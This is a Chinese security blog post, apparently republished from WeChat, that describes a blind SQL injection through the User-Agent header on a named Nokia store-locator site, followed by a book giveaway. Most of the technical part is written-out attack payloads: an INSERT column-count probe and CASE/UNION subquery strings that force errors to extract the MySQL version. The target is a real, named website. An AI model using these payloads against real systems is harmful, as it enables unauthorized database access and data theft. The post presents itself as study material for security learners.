【文末赠书】一个诺基亚网站的sqli

admin 2023年2月4日06:23:52评论15 views字数 1364阅读4分32秒阅读模式


声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

正文

一个sqi的案例,这里记录一下笔记:

使用google找到的一个脆弱目标: http://www4.nokia.de/storelocator/

易受攻击的变量是User-Agent,页面上除了空白或加载外没有任何反应,所以是盲目(blind)的SQL注入。

之后的查询是INSERT INTO,MySQL是数据库。

输入 INSERT INTO table(a,b,c)VALUES(1,2,'$user_agent')之后没有发现报错,咋办?

输入: INSERT INTO table(a,b,c)VALUES(1,2,3), (4,5,6);

经过一些暴力破解,发现这个INSERT查询有5个列。

将我的User-Agent设置为',1,1),(1,2,3,4,5)-- -

现在,不能在INSERT查询中使用通常的AND 3=23,因为 INSERT INTO a(b)VALUES(1 and 3=23)是一个有效的查询,

需要一些方法来触发true/false的错误。怎么办?

有一个思路是:使数据库在一个子查询中返回多条记录;

比如说: SELECT a,(select b from table) from table;

如果有多于1条记录的话,将返回:Subquery returns more than 1 row

使用UNION这个关键字:

select 1 union select 2; ->"Subquery returns more than 1 row";

使用CASE语句:

User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=5) then 1 else 2 end))--

该页面加载;

User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=4) then 1 else 2 end))-----

空白;注意版本的变化

赠书活动

1. 书籍介绍

《Web安全攻防从入门到精通》

Web安全攻防从入门到精通》结合红日安全团队的多年经验,深入讲解Web安全的相关知识。

全书共有21个章节,第1章到第6章讲解Web攻防入门知识,包括HTTP基本概念、工具实战、信息收集、靶场搭建等内容;第7章到第20章讲解Web渗透测试的14个典型漏洞案例,包括SQL注入、XSS漏洞、CSRF漏洞、SSRF漏洞、任意文件上传、业务漏洞等内容;第21章是项目实战,主要模拟真实Web安全评估项目。
《Web安全攻防从入门到精通》案例丰富,代码详实,实战性强,适合广大Web程序员、测试工程师、安全运营人员学习使用,也适合安全相关的培训、教育机构作为教材使用

2. 活动规则

留言点赞数前三+转发本文至朋友圈(不可设置分组)的亲们将获赠本书一本,时间截止到下周三2月8日晚20点

(超过24小时未领取以及未转发至朋友圈的小伙伴视为自动放弃~)

往期回顾

2022年度精选文章



原文始发于微信公众号(迪哥讲事):【文末赠书】一个诺基亚网站的sqli

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月4日06:23:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【文末赠书】一个诺基亚网站的sqlihttps://cn-sec.com/archives/1536253.html

发表评论

匿名网友 填写信息